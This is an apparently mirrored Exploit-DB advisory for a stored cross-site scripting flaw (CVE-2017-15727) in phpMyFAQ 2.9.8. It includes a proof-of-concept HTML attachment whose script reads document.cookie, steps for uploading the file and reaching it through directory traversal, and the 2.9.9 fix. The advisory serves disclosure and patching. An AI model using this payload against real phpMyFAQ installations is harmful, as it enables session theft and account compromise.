PHPMyFAQ 2.9.8 – Cross-Site Scripting (3)

  • 作者： Nikhil Mittal
    日期： 2017-10-28
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/43063/
  • # Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability 
# Date: 28-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727

1. Description

In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.

2. Proof of concept

Exploit code

<!DOCTYPE html>
<html>
<head>
<title>XSS EXPLOIT</title>
</head>
<body>
<script>confirm(document.cookie)</script>
</body>
</html>



Steps to reproduce:

1. Create a user having limited access rights to attachment section 
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage 

3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip